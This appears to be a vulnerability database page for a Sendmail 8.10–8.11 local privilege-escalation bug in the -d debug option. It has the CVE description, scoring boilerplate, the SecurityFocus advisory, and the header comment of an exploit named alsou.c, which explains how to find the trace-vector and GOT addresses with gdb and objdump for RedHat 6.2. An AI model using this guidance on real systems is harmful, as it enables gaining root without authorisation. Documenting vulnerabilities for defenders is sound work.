CVE Descriptions

Sendmail 8.10.0 through 8.11.5, and 8.12.0 beta, allows local users to modify process memory and possibly gain privileges via a large value in the 'category' part of debugger (-d) command line arguments, which is interpreted as a negative number.

V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. /* * alsou.c * * sendmail-8.11.x linux x86 exploit * * To use this exploit you should know two numbers: VECT and GOT. * Use gdb to find the first: * * $ gdb -q /usr/sbin/sendmail * (gdb) break tTflag * Breakpoint 1 at 0x8080629 * (gdb) r -d1-1.1 * Starting program: /usr/sbin/sendmail -d1-1.1 * * Breakpoint 1, 0x8080629 in tTflag () * (gdb) disassemble tTflag * ............. * 0x80806ea <tTflag+202>: dec %edi * 0x80806eb <tTflag+203>: mov %edi,0xfffffff8(%ebp) * 0x80806ee <tTflag+206>: jmp 0x80806f9 <tTflag+217> * 0x80806f0 <tTflag+208>: mov 0x80b21f4,%eax * ^^^^^^^^^^^^^^^^^^ address of VECT * 0x80806f5 <tTflag+213>: mov %bl,(%esi,%eax,1) * 0x80806f8 <tTflag+216>: inc %esi * 0x80806f9 <tTflag+217>: cmp 0xfffffff8(%ebp),%esi * 0x80806fc <tTflag+220>: jle 0x80806f0 <tTflag+208> * ............. * (gdb) x/x 0x80b21f4 * 0x80b21f4 <tTvect>: 0x080b9ae0 * ^^^^^^^^^^^^^ VECT * * Use objdump to find the second: * $ objdump -R /usr/sbin/sendmail |grep setuid * 0809e07c R_386_JUMP_SLOT setuid * ^^^^^^^^^ GOT * * Probably you should play with OFFSET to make exploit work. * * Constant values, written in this code found for sendmail-8.11.4 * on RedHat-6.2.
